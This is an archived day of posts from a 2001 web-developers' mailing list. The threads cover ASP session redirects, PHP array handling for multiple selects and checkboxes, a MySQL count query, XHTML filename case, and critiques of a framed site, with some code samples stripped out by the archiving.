<000801c14279$41f7a7f0$79334d18@Dell8100> Message-ID: On Sep 21, Beau Hartshorne had something to say about RE: [thelist] ASP,... >Every page (except the login page) updates a Session object like so: I hate using sessions when I don't have to, but I guess you're trying to avoid the messy querystring. ><% >Session.Contents("URL") = _ >strRequest.ServerVariables("SCRIPT_NAME") + "?" _ >+ Request.ServerVariables("QUERY_STRING") If you're ysing vbscript, those +'s should be &'s. >%> > >And on the authentication.asp page: > ><% >If Session.Contents("URL") = Nothing Then You'll be wanting to test against "" or Empty, not Nothing. Nothing is a variable that held a released object. More info here: http://evolt.org/article/sgd_uses_frontpage/17/346/index.html > Response.Redirect("index.asp") >Else > Response.Redirect(Session.Contents("URL") >End If >%> Rather than accessing Session.Contents twice, set that value to a local variable and then access that variable twice. It's a bit faster. Also, like aardvark said, if you're on IIS5/ASP3, use Server.Transfer, as it is a server-side redirect rather than a HTTP 301 (or is it 302?) redirect. hth, -- mattwarden mattwarden.com From VillanoP at usachcs.army.mil Fri Sep 21 08:41:01 2001 From: VillanoP at usachcs.army.mil (Villano, Paul) Date: Fri Sep 21 08:41:01 2001 Subject: [thelist] Naming Conventions Message-ID: <7788B27B9516634499F14B84C409B6906D6442@EXCH01.usachcs-emh1.army.mil> I'm stumbling my way around xhtml for the first time with a bunch of inherited files using frames, many of which use caps (JPGFrame1.html), etc. I'm from the old school of "keep it all lower case and under 9 spaces"...Is the lower case naming convention for .htm files still an issue? (Please tell me I don't have to go through several thousand files just to change their case.) Most if not all of my users will be on Windows machines. Thanks in advance. PAUL - "The term is over: the holidays have begun. The dream is ended: this is the morning." And as He spoke He no longer looked to them like a lion. (Aslan in "The Last Battle") From tijs.teulings at framfab.nl Fri Sep 21 08:45:51 2001 From: tijs.teulings at framfab.nl (Tijs Teulings) Date: Fri Sep 21 08:45:51 2001 Subject: [thelist] Naming Conventions Message-ID: <7C8749CFEC38D511B5BE00D0B7A7EAAF13E967@nlamsmail.nqff.nl> "XHTML documents must use lower case for all HTML element and attribute names. This difference is necessary because XML is case-sensitive e.g.
  • and
  • are different tags." http://www.w3.org/TR/xhtml1/ //Tijs > > I'm stumbling my way around xhtml for the first time with a bunch of > inherited files using frames, many of which use caps > (JPGFrame1.html), etc. > I'm from the old school of "keep it all lower case and under > 9 spaces"...Is > the lower case naming convention for .htm files still an > issue? (Please > tell me I don't have to go through several thousand files > just to change > their case.) Most if not all of my users will be on Windows machines. > > Thanks in advance. > From tijs.teulings at framfab.nl Fri Sep 21 08:53:31 2001 From: tijs.teulings at framfab.nl (Tijs Teulings) Date: Fri Sep 21 08:53:31 2001 Subject: [thelist] Naming Conventions Message-ID: <7C8749CFEC38D511B5BE00D0B7A7EAAF13E968@nlamsmail.nqff.nl> sorry, misread your question. CAPS in filenames are not an issue anymore unless your server is running on DOS or some pre 95 version of windows. > > "XHTML documents must use lower case for all HTML element and > attribute > names. This difference is necessary because XML is > case-sensitive e.g.
  • > and
  • are different tags." > > http://www.w3.org/TR/xhtml1/ > > //Tijs > > > > > I'm stumbling my way around xhtml for the first time with a bunch of > > inherited files using frames, many of which use caps > > (JPGFrame1.html), etc. > > I'm from the old school of "keep it all lower case and under > > 9 spaces"...Is > > the lower case naming convention for .htm files still an > > issue? (Please > > tell me I don't have to go through several thousand files > > just to change > > their case.) Most if not all of my users will be on > Windows machines. > > > > Thanks in advance. > > > > --------------------------------------- > For unsubscribe and other options, including > the Tip Harvester and archive of TheList go to: > http://lists.evolt.org Workers of the Web, evolt ! > From philippe at 123piano.com Fri Sep 21 09:04:58 2001 From: philippe at 123piano.com (Philippe Jadin) Date: Fri Sep 21 09:04:58 2001 Subject: [thelist] Naming Conventions References: <7C8749CFEC38D511B5BE00D0B7A7EAAF13E968@nlamsmail.nqff.nl> Message-ID: <3BAB497B.56F679A4@123piano.com> Tijs Teulings wrote: > > sorry, misread your question. CAPS in filenames are not an issue anymore > unless your server is running on DOS or some pre 95 version of windows. This said, it must be easy to convert all the files to lower case. This will help the development :-) Philippe From andrew.chadwick at prnewswire.co.uk Fri Sep 21 09:10:53 2001 From: andrew.chadwick at prnewswire.co.uk (Andrew Chadwick) Date: Fri Sep 21 09:10:53 2001 Subject: [thelist] Naming Conventions In-Reply-To: <7788B27B9516634499F14B84C409B6906D6442@EXCH01.usachcs-emh1.army.mil> References: <7788B27B9516634499F14B84C409B6906D6442@EXCH01.usachcs-emh1.army.mil> Message-ID: <20010921151053.B3348@oit.net> On Fri, Sep 21, 2001 at 09:41:02AM -0400, Villano, Paul wrote: > I'm stumbling my way around xhtml for the first time with a bunch of > inherited files using frames, many of which use caps > (JPGFrame1.html), etc. I'm from the old school of "keep it all > lower case and under 9 spaces"...Is the lower case naming convention > for .htm files still an issue? It depends on which operating system your web server runs, not which dialect of HTML you're using. In XHTML, JPEG Frame One Only the "a", "/a", "href" are case-sensitive. > (Please tell me I don't have to go through several thousand files > just to change their case.) Most if not all of my users will be on > Windows machines. If you're serving the docs over the web, the user's browser will send back the URL to the server in whichever case you said in your href attributes. What happens next is up to the server. As a rule of thumb, Unix-based OSes are case-sensitive; the Mac OS, and all flavours of DOS and NT-based OSes are case-insensitive. If you're packaging the files for deploying directly on the user's hard disk, then the user's OS matters (and if it's DOS or NT-based, case doesn't :) -- Andrew Chadwick, UNIX/Internet Programmer, PR Newswire Europe, Oxford -- The views or opinions above are solely mine and are not necessarily those of PR Newswire Europe. The message may contain privileged or confidential information; if you are not a named recipient, notify me, and do not copy, use, or disclose this message. . From roselli at earthlink.net Fri Sep 21 09:21:42 2001 From: roselli at earthlink.net (aardvark) Date: Fri Sep 21 09:21:42 2001 Subject: [thelist] ASP, HTTP_REFERRER, Session questions In-Reply-To: <000801c14279$41f7a7f0$79334d18@Dell8100> References: <5.1.0.14.2.20010920222802.01b03d60@baratta.com> Message-ID: <200109211421.f8LELgZe007298@leo.evolt.org> > From: "Beau Hartshorne" > > Aardvark, Anthony thank you. This is what I think I should do: > > Every page (except the login page) updates a Session object like so: while not a bad approach, just keep in mind that users without cookies enabled, as well as users who have their sessions expire (by walking away, working, etc.) will not benefit from this approach... the reason i remanded the URL variable to the query string and hidden fields is because it's completely friendly for all browsers, as opposed to just cookied or sessioned (making up new words) browsers... From MMcAtee at philamuseum.org Fri Sep 21 09:48:45 2001 From: MMcAtee at philamuseum.org (McAtee, Malcolm) Date: Fri Sep 21 09:48:45 2001 Subject: [thelist] Multiple Select?? Message-ID: Howdy all..... I am creating a form to be used in a simple PHP/email app. Everything seems to be working well except that my multiple select lists seem to pass only the first value in the list. Please see the code below: Thanks Malcolm //---------------// Malcolm J. Mcatee Web Designer Philadelphia Museum of Art 215-684-7748 mmcatee at philamuseum.org //---------------// From andrew.chadwick at prnewswire.co.uk Fri Sep 21 10:04:03 2001 From: andrew.chadwick at prnewswire.co.uk (Andrew Chadwick) Date: Fri Sep 21 10:04:03 2001 Subject: [thelist] Multiple Select?? In-Reply-To: References: Message-ID: <20010921160404.A3671@oit.net> On Fri, Sep 21, 2001 at 10:49:34AM -0300, McAtee, Malcolm wrote: > I am creating a form to be used in a simple PHP/email > app. Everything seems to be working well except that my multiple > select lists seem to pass only the first value in the list. Please > see the code below: > > You should use : : : : : : : From MMcAtee at philamuseum.org Fri Sep 21 10:40:17 2001 From: MMcAtee at philamuseum.org (McAtee, Malcolm) Date: Fri Sep 21 10:40:17 2001 Subject: [thelist] Multiple Select?? Message-ID:
    //---------------// Malcolm J. Mcatee Web Designer Philadelphia Museum of Art 215-684-7748 mmcatee at philamuseum.org //---------------// -----Original Message----- From: Joshua Olson [mailto:joshua at alphashop.net] Sent: Friday, September 21, 2001 8:46 AM To: thelist at lists.evolt.org Subject: Re: [thelist] Multiple Select?? What is the method? Post or Get? -joshua ----- Original Message ----- From: "McAtee, Malcolm" Subject: [thelist] Multiple Select?? : Howdy all..... : : I am creating a form to be used in a simple PHP/email app. Everything seems : to be working well except that my multiple select lists seem to pass only the first : value in the list. : Please see the code below: : : --------------------------------------- For unsubscribe and other options, including the Tip Harvester and archive of TheList go to: http://lists.evolt.org Workers of the Web, evolt ! From Matt at grndwtr.com Fri Sep 21 10:41:13 2001 From: Matt at grndwtr.com (Matthias Ritzkowski) Date: Fri Sep 21 10:41:13 2001 Subject: [thelist] SQL - Search & Replace? Message-ID: <8179FA78B6D0D111AA53006097B0128007AF16@mail1> Why don't you code an ASP page to do that? loop through all records and examine for the string "FOO", if you find it, update that record with "FOO?" Matthias -----Original Message----- From: J. Blanchard [mailto:jay.blanchard at thermon.com] Sent: Friday, September 21, 2001 11:34 To: thelist at lists.evolt.org Subject: [thelist] SQL - Search & Replace? I had included this question in a reply yesterday to something else, but it didn't get seen so... I have a product called FOO which has a registered (?) mark, hence FOO?. Not all mentions of FOO within the database have the ? but the powers-that-be would like them to. Is there an search and replace functionality available for SQL Server? I have searched documentation to no avail... From kerin at airside.co.uk Fri Sep 21 10:48:23 2001 From: kerin at airside.co.uk (// kerin | airside.co.uk) Date: Fri Sep 21 10:48:23 2001 Subject: [thelist] MySQL COUNTing In-Reply-To: References: Message-ID: Hi all, I'm working on putting together a basic bulletin board for a project. i want the index page to have a simple table showing active discussions, like so: thread title | date | no. of posts in my MySQL database, there are two tables (amongst others) like so: THREADS: ________ ID DATE USER_ID TITLE MESSAGES: _________ ID THREAD_ID USER_ID BODY DATE now, my SQL isnt that hot, and Im having real trouble writing the SQL query to do this. What I want is to have one SQl query which returns the title and date of the thread, as well as the total number of posts, by joining the THREADS and MESSAGES tables on the THREAD_ID column. my query currently looks like this, and fails miserably: $sql = "SELECT threads.title AS 'title', threads.date AS 'date', COUNT(messages.thread_id) AS 'noposts' FROM threads, messages WHERE messages.thread_id = threads.id ORDER BY date DESC LIMIT (20)"; Can somebody point me in the right direction here? My SQL skills are obviously pretty poor.... Thanks, Kerin -- From MMcAtee at philamuseum.org Fri Sep 21 10:51:04 2001 From: MMcAtee at philamuseum.org (McAtee, Malcolm) Date: Fri Sep 21 10:51:04 2001 Subject: [thelist] Multiple Select?? Message-ID: You should use -- > > > I now recieve Type of Event: Array..... > Do I need to add something to the results page? (see below) > I apologize for the simple questions, did I mention this is my first PHP > app? > > print "Type of Event:$Type_of_Event
    \n"; This should be something like: print "Type of Event:
    \n"; foreach($Type_of_Event as $event) { print "$event
    \n"; } The formatting is of course up to you, but use the foreach-loop to go through all the values in $Type_of_Event. / Carl-Johan From div at newcode.se Fri Sep 21 11:32:39 2001 From: div at newcode.se (Carl-Johan Kihlbom) Date: Fri Sep 21 11:32:39 2001 Subject: [thelist] PHP - multiple checkboxes In-Reply-To: <3BAB5ACE.5050606@heerssen.com> Message-ID: <200109211638.f8LGcds02659@mail.space2u.com> On fredag, september 21, 2001, at 05:20 , Bruce Heerssen wrote: > I have a form with multiple checkboxes that all have the same name, and > I need to get the value for each one, but when I test for it, it > returns the last value followed by a series of commas. > > Can someone tell me how to access them correctly in PHP? > > Thanks, > > Bruce Same way as in the thread "Multiple Select". Add [] after the name, to indicate to the receiving PHP script that it should treat it as an array. Like this: and so on... Then you will receive the values in an array called $foo. $foo[0] == "bar 1"; $foo[1] == "bar 2"; / Carl-Johan From kristina at kfx-design.co.uk Fri Sep 21 11:48:05 2001 From: kristina at kfx-design.co.uk (kristina) Date: Fri Sep 21 11:48:05 2001 Subject: [thelist] site critique please Message-ID: <3417289521.20010921174839@kfx-design.co.uk> Not sure if I'm feeling brave or stupid, but please feel free to scrutinize this site: www.greatwesternhomes.co.uk/trial - it isn't yet live, as I'm still waiting for data from the client. But I'd really like fellow Evolters opinions on the job so far...! (re; the fact its framed, - my boss INSISTS its done in frames....) - i've tried to re-educate but he ain't 'avin none of it! - & i know really it should be up to the client, whether they have frames or not, they're not very web-wise as yet... - they're at the - wow-i-can-attach-that-to-an-email stage (iykwim) ;o) -- bfn kristina kristina at kfx-design.co.uk "When written in Chinese, the word 'crisis' is composed of two characters. One represents danger, and the other represents opportunity." -- John F. Kennedy From joshua at alphashop.net Fri Sep 21 11:57:10 2001 From: joshua at alphashop.net (Joshua Olson) Date: Fri Sep 21 11:57:10 2001 Subject: [thelist] site critique please References: <3417289521.20010921174839@kfx-design.co.uk> Message-ID: <032d01c142bf$7ea65020$a600a8c0@mrtnz1.ga.home.com> Hey Kristina, I kinda like the hand-crafted rollover effect you've done with the menu. One thing, you might as well use the onclick event of the td to fire the anchors since you've already moved the tactile response of the rollover to the whole td... Something like this: onclick="location.href = '[same as anchor]'; return false;" Also, you might throw style="hand: cursor" on the td so that it is apparent you can click anywhere within the td. The reason this can work is because the borders already don't work in NN (they don't support mouse actions on td's) and cursor:hand doesn't work, so no loss there, but enhanced functionality in ie. Make sense? -joshua ----- Original Message ----- From: "kristina" Subject: [thelist] site critique please : : Not sure if I'm feeling brave or stupid, but please feel free to : scrutinize this site: www.greatwesternhomes.co.uk/trial - it isn't : yet live, as I'm still waiting for data from the client. But I'd : really like fellow Evolters opinions on the job so far...! From evolt at spinhead.com Fri Sep 21 11:57:53 2001 From: evolt at spinhead.com (spinhead) Date: Fri Sep 21 11:57:53 2001 Subject: [thelist] site critique please References: <3417289521.20010921174839@kfx-design.co.uk> Message-ID: <001701c142be$87b43c00$aa01000a@HEISENBERG> No time for a deep scan, but overall I really like it. Couple comments: 1. I love all the greens. I hate the salmon pink blecch rollovers. 2. The double rollover on the navbar was disconcerting for some reason. Box or text, but both (not simultaneous) was wierd. 3. On each page, kill the link to that page. It's superfluously redundantly excessive. Nice logo - North, East, South - where's West? Ahhh, I get it. Almost made me say the name out loud. Clever retention tool. spinhead ----- Original Message ----- From: "kristina" To: "The List" Sent: Friday, September 21, 2001 9:48 AM Subject: [thelist] site critique please > > Not sure if I'm feeling brave or stupid, but please feel free to > scrutinize this site: www.greatwesternhomes.co.uk/trial - it isn't > yet live, as I'm still waiting for data from the client. But I'd > really like fellow Evolters opinions on the job so far...! > > (re; the fact its framed, - my boss INSISTS its done in frames....) - > i've tried to re-educate but he ain't 'avin none of it! - & i know > really it should be up to the client, whether they have frames or > not, they're not very web-wise as yet... - they're at the - > wow-i-can-attach-that-to-an-email stage (iykwim) > > ;o) > > -- > bfn > kristina > > > kristina at kfx-design.co.uk > > > > "When written in Chinese, the word 'crisis' is composed of two characters. > One represents danger, and the other represents opportunity." > -- John F. Kennedy > > > --------------------------------------- > For unsubscribe and other options, including > the Tip Harvester and archive of TheList go to: > http://lists.evolt.org Workers of the Web, evolt ! > From r937 at interlog.com Fri Sep 21 12:18:54 2001 From: r937 at interlog.com (rudy) Date: Fri Sep 21 12:18:54 2001 Subject: [thelist] MySQL COUNTing Message-ID: <01c142c1$8eb60760$8449149a@rudy> > What I want is to have one SQl query which returns > the title and date of the thread, as well as the total number > of posts, by joining the THREADS and MESSAGES tables > on the THREAD_ID column. > >my query currently looks like this, and fails miserably: > >$sql = "SELECT > threads.title AS 'title', > threads.date AS 'date', > COUNT(messages.thread_id) AS 'noposts' > FROM threads, messages > WHERE messages.thread_id = threads.id > ORDER BY date DESC > LIMIT (20)"; hi kerin you are so close ;o) SELECT threads.title AS 'title', threads.date AS 'date', COUNT(messages.thread_id) AS 'noposts' FROM threads, messages WHERE messages.thread_id = threads.id GROUP BY threads.title, threads.date ORDER BY date DESC LIMIT (20) when you have a one-to-many join, and all you want is the count of the "many" records, you have to do a GROUP BY on all the "one" columns in the SELECT list let me know if you also need to count 0 for threads that have no messages rudy http://rudy.ca/ From jmlucero at webicarus.com Fri Sep 21 12:31:39 2001 From: jmlucero at webicarus.com (Juan Manuel Lucero) Date: Fri Sep 21 12:31:39 2001 Subject: [thelist] NT Hosting under $25 Message-ID: <000201c142c3$49280520$4e14fea9@juan> Hi everybody. Right now, we have a client for whom we are developing an ASP-based site. We don?t know, since all our clients are hosted on UNIX, what NT hosting provider is reliable for under $25 a month (that?s what the client wants to pay).... We need: 300 MB 50 POP3 accounts at least 12 Gb transfer per month at least 2 FTP accounts Raw Logfiles SSI SSL Support Thanks! Juan Manuel Lucero Icarus Dise?os Interactivos http://www.webicarus.com jmlucero at webicarus.com From r937 at interlog.com Fri Sep 21 12:58:28 2001 From: r937 at interlog.com (rudy) Date: Fri Sep 21 12:58:28 2001 Subject: [thelist] site critique please Message-ID: <01c142c7$079c6660$8449149a@rudy> > 3. On each page, kill the link to that page. > It's superfluously redundantly excessive. not to mention confusing i.e. if you end up on a page and the nav bar shows a live link for that page, it makes you wonder if you're really on that page give these links a "grayed out" look and feel (obviously they're not actual links anymore) this will reinforce "where you are" and that's a good thing ? always check your sites in netscape 3 -- it runs fast, loads pages quickly, and shows you the typical problems that visitors to your site will have who use unconventional browsers... granted, most site visitors will have conventional browsers (capable of javascript, css, whatever) but you also want your site to "work" in stripped-down browsers, e.g. on cellphones, pda's, webtv, etc. kristina, i really like the fixed background, those are very hard to keep unobtrusive, yours succeeds i'm not nuts about the blocks of text on the landlords page (the solid green ones are too sombre) -- on the tenants page the blocks are quite distracting, but on the properties available page, they look great if your client is at the wow-i-can-attach-that-to-an-email stage then perhaps you can mention that site visitors may not be able to bookmark individual pages because of the frames let the client convince your boss -- if you try to do it, he or she may simply raise the drawbridge further... some people like the idea of a nav bar that's always visible, and i like to counter this thinking by pointing out that if the page is long and the nav bar scrolls up out of sight, it can be retrieved simply by hitting the Home key on the keyboard, which anybody who has even a modicum of computer experience will already know (thus subtly calling into question the experience of the person who wants the nav bar to always be visible -- of course, this strategy could backfire if you don't handle it carefully) another thing about frames, yours as well, is that if the window isn't maximized, the nav bar frame often gets a scrollbar (try it) which makes the page look really klunky and amateurish good luck rudy From thelist at cbizz.net Fri Sep 21 13:12:50 2001 From: thelist at cbizz.net (profjj) Date: Fri Sep 21 13:12:50 2001 Subject: [thelist] site critique please In-Reply-To: <3417289521.20010921174839@kfx-design.co.uk> Message-ID: hi kristina, :~~~~~~~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~>> :From: thelist-admin at lists.evolt.org :[mailto:thelist-admin at lists.evolt.org]On Behalf Of kristina :Sent: Friday, September 21, 2001 12:49 PM :To: The List :Subject: [thelist] site critique please : : Not sure if I'm feeling brave or stupid, but please feel free to : scrutinize this site: www.greatwesternhomes.co.uk/trial - it isn't : yet live, as I'm still waiting for data from the client. But I'd : really like fellow Evolters opinions on the job so far...! :~~~~~~~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~>> The site looks nice. For the left frame, I think you should remove the left scrolling, and maybe shrink the menu a bit to fit. On a 15", with ie, it barely has scrollbars, but in nn, they are a little more apparent. :~~~~~~~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~>> : (re; the fact its framed, - my boss INSISTS its done in frames....) - : i've tried to re-educate but he ain't 'avin none of it! - & i know : really it should be up to the client, whether they have frames or : not, they're not very web-wise as yet... - they're at the - : wow-i-can-attach-that-to-an-email stage (iykwim) :~~~~~~~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~>> with regards to the frames, I think you should really advise your client against it. http://www.evolt.org/article/Some_Caveats_with_Using_Frames/22/293/index.htm l :~~~~~~~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~>>:bfn : kristina : : :kristina at kfx-design.co.uk : : : :"When written in Chinese, the word 'crisis' is composed of two characters. :One represents danger, and the other represents opportunity." :-- John F. Kennedy :~~~~~~~~~~~~~~~~~~~~~~~~~~//~~~~~~~~~~~~~~~~~~>> good luck, [[:profjj:]] From ray at opengrid.com Fri Sep 21 13:39:08 2001 From: ray at opengrid.com (Ray Hill) Date: Fri Sep 21 13:39:08 2001 Subject: [thelist] HTML optimization advice, please Message-ID: <897D2906DD5DD411B17500B0D03D9FB2C70030@directmail.opengrid.com> Tyme wrote: > Sounds like a good alternative! Now, what are the chances > of me learing PHP and converting all 400 files by Monday, > Sept. 24th. Pretty good, actually. All you need to get this working is a rudimentary understanding of the simple parts of PHP (includes, switch statement, and maybe some if/then statements). If you read the first three or four chapters of "Professional PHP Programming" you should be set. You don't even need to buy it; just read the chapters at your local Barnes & Noble, then rely on the online PHP Manual to fill in the memory gaps. Professional PHP Programming http://shop.barnesandnoble.com/booksearch/isbnInquiry.asp?isbn=1861002963 Online PHP Manual http://www.php.net/manual/en/ As for updating the 400+ pages, even that can be made a pretty simple task. Once you've got the template file set up, all you've got to do is replace the pre-content and post-content portions of each page with the few lines of PHP that points to the template file for that section. If you download a copy of KeyText or TrayText from mjmsoft.com, you can save the pre-content and post-content PHP bits into separate hot keys and then just go to each page, highlight the non-content stuff, and paste the PHP bits in with the hot keys, so all you'll have to do that's page-specific is change the URL in the include (../ vs ../../, etc) and change the sectionid you're putting in the function call. If you decide to go this route and need help along the way, feel free to email me off-list and I'll assist where needed. --ray From evolt at spinhead.com Fri Sep 21 13:44:06 2001 From: evolt at spinhead.com (spinhead) Date: Fri Sep 21 13:44:06 2001 Subject: assumptions regarding computer competency of those who don't use certain keys for navigation (was Re: [thelist] site critique please) References: <01c142c7$079c6660$8449149a@rudy> Message-ID: <001c01c142cd$5b506990$aa01000a@HEISENBERG> Unless they're SO OLD that they still think those extra keys are for controlling your word processor, in which case you might never think to use them for navigation. Like, using the 'Home' button to go 'home' on a web page. Sheesh. If you've got any other 'obvious' stuff I oughta know, rudy, you can call me collect! (I don't know your capacity, but I sure owe you a lot of beverage.) joel ----- Original Message ----- From: "rudy" To: Sent: Friday, September 21, 2001 10:58 AM Subject: Re: [thelist] site critique please [ . . . ] if the page > is long and the nav bar scrolls up out of sight, it can be > retrieved simply by hitting the Home key on the keyboard, which > anybody who has even a modicum of computer experience > will already know (thus subtly calling into question the experience > of the person who wants the nav bar to always be visible -- > of course, this strategy could backfire if you don't handle it carefully) [ . . . ] > > rudy > > From evolt at spinhead.com Fri Sep 21 13:49:13 2001 From: evolt at spinhead.com (spinhead) Date: Fri Sep 21 13:49:13 2001 Subject: Fw: [thelist] CDONTS again - can't send mail from a subdirectory? References: <5.1.0.14.2.20010919132317.02f63468@baratta.com> Message-ID: <002101c142ce$13ac9c20$aa01000a@HEISENBERG> Got pulled away on other things, and took another look this morning. Apparently the SMTP service wants the sender address to be an e-mail address, not just a text string dropped in there for testing purposes and forgotten. [d'oh!] Sorry for wasting anyone's CPU cycles on this. Must be the eleventy-first time in a month I've missed something this simple. Must sleep more. When you comment out a line in VBScript using TextPad, it frequently hoses up the syntax highlighting. A second comment generally resolves the problem. Split comments onto an even number of lines, or add a blank commented line to even things up. spinhead ----- Original Message ----- From: "Anthony Baratta" To: Sent: Wednesday, September 19, 2001 1:23 PM Subject: Re: Fw: [thelist] CDONTS again - can't send mail from a subdirectory? > At 12:20 PM 9/19/2001, you wrote: > >Trying one more time before I give Microsoft more money for tech support . . > > . > > Let's see the code you are using to send the mail. > ---- > Anthony Baratta > President > Keyboard Jockeys > > "Conformity is the refuge of the unimaginative." > > > > --------------------------------------- > For unsubscribe and other options, including > the Tip Harvester and archive of TheList go to: > http://lists.evolt.org Workers of the Web, evolt ! > From jhaworth at witanjardine.co.uk Fri Sep 21 14:12:27 2001 From: jhaworth at witanjardine.co.uk (Jon Haworth) Date: Fri Sep 21 14:12:27 2001 Subject: [thelist] Multiple Select?? Message-ID: <67DF9B67CEFAD4119E4200D0B720FA3F70FDCE@BOOTROS> Your data is stored in an array now, so you can reference it with $Type_of_Event[1], $Type_of_Event[2] etc. There is a handy way to step through all the elements in an array, if you're using PHP4 (see below if you're not) With PHP4: \n"; print "Date of Event: $Date_of_Event
    \n"; print "Type of Event: "; foreach ($Type_of_Event as $current) { print "$current, "; } print "
    \n"; # snip ?> You'll have to do some fiddling to get the formatting right, but hopefully you see the principle. (http://www.php.net/foreach) If you only have PHP3 (the reason I mention this is I've noticed .php3 as your extension) you have to replace foreach() with a do..while: \n"; print "Date of Event: $Date_of_Event
    \n"; print "Type of Event: "; reset ($Type_of_Event); while (list (, $current) = each ($Type_of_Event)) { echo "Value: $value
    \n"; } print "
    \n";# snip ?> HTH Jon -----Original Message----- From: McAtee, Malcolm [mailto:MMcAtee at philamuseum.org] Sent: 21 September 2001 15:52 To: thelist at lists.evolt.org Subject: RE: [thelist] Multiple Select?? You should use in my form. When I test it, the script that this form's action attribute uses fails opening the file. GetImageSize or copy(), both fail if the input file is not a file from one of the 'virtual directories' on my machine. Like, if I choose an image from one of the other sites I work on, my functions work; but if I choose an image from 'My Documents', the functions fail. It looks like its time to take development of this to the server... thanks, John From g1notami at zoominternet.net Fri Sep 21 17:44:57 2001 From: g1notami at zoominternet.net (D.Bruce Saurer) Date: Fri Sep 21 17:44:57 2001 Subject: assumptions regarding computer competency of those who don't use certain keys for navigation (was Re: [thelist] site critique please) References: Message-ID: <009d01c142ef$38b83da0$657ba8c0@notami> > > Windows + D takes you to the desktop. [and when I figure out > > how that's > > different from Windows + M to 'minimize all' I'll let you > > know; it's just > > easier for me to remember. > > Windows + D works as a toggle - Press once to go to desktop, press again > to return to your active program, window + M doesn't toggle. ah...but windows+M; then windows+shift+M does! Bruce g1notami at zoominternet.net From joshua at alphashop.net Fri Sep 21 17:47:28 2001 From: joshua at alphashop.net (Joshua Olson) Date: Fri Sep 21 17:47:28 2001 Subject: assumptions regarding computer competency of those who don't use certain keys for navigation (was Re: [thelist] site critique please) References: <009d01c142ef$38b83da0$657ba8c0@notami> Message-ID: <04e601c142f0$6f19f180$a600a8c0@mrtnz1.ga.home.com> Thanks Bruce. Very nice. I was wondering about that. Windows+D does not work on my machine. Any ideas? -joshua ----- Original Message ----- From: "D.Bruce Saurer" Subject: Re: assumptions regarding computer competency of those who don't use certain keys for navigation (was Re: [thelist] site critique please) : > > Windows + D takes you to the desktop. [and when I figure out : > > how that's : > > different from Windows + M to 'minimize all' I'll let you : > > know; it's just : > > easier for me to remember. : > : > Windows + D works as a toggle - Press once to go to desktop, press again : > to return to your active program, window + M doesn't toggle. : : ah...but windows+M; then windows+shift+M does! : : Bruce : g1notami at zoominternet.net From jmclark at multiservice.com Fri Sep 21 17:55:03 2001 From: jmclark at multiservice.com (Jeana Clark) Date: Fri Sep 21 17:55:03 2001 Subject: [thelist] Help with javascript menu please? In-Reply-To: <015f01c142ed$1ed7dc30$a5a931d0@marchfirstslc.com> Message-ID: <003f01c142f0$4d660380$b2341eac@multiservice.com> OH! Duh. So I could simply paste the basic Navigation in between the tags and be on my merry way? yippeeee... it's friday (YAY!) but we've all had a very long week.. emotionally.. and probably well, physically as we sit behind our glowing boxes coding, designing, hacking... Take a look at evolt's own Coder's Health Tips: Stretching and have a fabulous weekend! -j ~*~*~*~*~*~*~*~*~ Jeana Clark Metropolis Gameport Systems http://www.Metropolis.com 8650 College Blvd. Overland Park, KS 66210 > -----Original Message----- > From: thelist-admin at lists.evolt.org > [mailto:thelist-admin at lists.evolt.org]On Behalf Of Kevin D. White > Sent: Friday, September 21, 2001 5:31 PM > To: thelist at lists.evolt.org > Subject: Re: [thelist] Help with javascript menu please? > > > The tag would do this. > ----- Original Message ----- > From: "Jeana Clark" > To: > Sent: 2001,September,Friday 15.58 > Subject: RE: [thelist] Help with javascript menu please? > > > > > http://www.webreference.com/dhtml/hiermenus/ > > > > This is great and all... And actually I found it last night too looking > for > > something similar. Except.... if a user has javascript turned off, you > > totally loose all sense of navigation. As in... if javascript is not > > decected.. nothing loads. Would there be a way to modify the script so > that > > The navagation with out the "floating layers" will at least appear when > > javascript is turned off? > > > > > > ~*~*~*~*~*~*~*~*~ > > > > Jeana Clark > > Metropolis Gameport Systems > > http://www.Metropolis.com > > 8650 College Blvd. > > Overland Park, KS 66210 > > > > > > > > --------------------------------------- > > For unsubscribe and other options, including > > the Tip Harvester and archive of TheList go to: > > http://lists.evolt.org Workers of the Web, evolt ! > > > > > --------------------------------------- > For unsubscribe and other options, including > the Tip Harvester and archive of TheList go to: > http://lists.evolt.org Workers of the Web, evolt ! > From travis at treevis.com Fri Sep 21 18:15:32 2001 From: travis at treevis.com (travis forden) Date: Fri Sep 21 18:15:32 2001 Subject: [thelist] Congrats to evolt.org.... In-Reply-To: <5.1.0.14.2.20010921132035.01b6c420@baratta.com> Message-ID: <5.1.0.14.0.20010921191023.00a1ca20@treevis.com> Hi. How does all this work if I am not the server administrator for my site? I use a hosting company with virtual hosting on an apache server on a linux box. Is it a matter of using .htaccess? In the comments of the first article, ironclad suggests using a mod_rewrite and CGI to record the spiderts IP address immediately. If I don't have access to the server's config files, can I still use these techniques? travis, a newbie to apache At 04:23 pm 9/21/01, you wrote: >I saw this in this morning's ApacheWeekly.... > > >http://evolt.org/article/rating/18/15126/ > >The administrators at evolt.org are "Using Apache to stop bad robots". In a short article they show how they capture robots that not only ignore the robots.txt file, but deliberately try to index files they are told not to. > >http://evolt.org/article/Search_Engine_Friendly_SSI_Image_Gallery/20/15882/ > >Morbus Iff develops a "Search Engine Friendly SSI Image Gallery" in his article on evolt.org. The article shows how to create a dynamic image gallery, using only the features built into a core distribution of Apache. > >;-) >--- >Anthony Baratta From g1notami at zoominternet.net Fri Sep 21 18:22:56 2001 From: g1notami at zoominternet.net (D.Bruce Saurer) Date: Fri Sep 21 18:22:56 2001 Subject: assumptions regarding computer competency of those who don't use certain keys for navigation (was Re: [thelist] site critique please) References: <009d01c142ef$38b83da0$657ba8c0@notami> <04e601c142f0$6f19f180$a600a8c0@mrtnz1.ga.home.com> Message-ID: <011201c142f4$8b15ce00$657ba8c0@notami> > : > > Windows + D takes you to the desktop. [and when I figure out > : > > how that's > : > > different from Windows + M to 'minimize all' I'll let you > : > > know; it's just > : > > easier for me to remember. > : > > : > Windows + D works as a toggle - Press once to go to desktop, press again > : > to return to your active program, window + M doesn't toggle. > : > : ah...but windows+M; then windows+shift+M does! > Thanks Bruce. > > Very nice. I was wondering about that. Windows+D does not work on my > machine. Any ideas? > > -joshua you 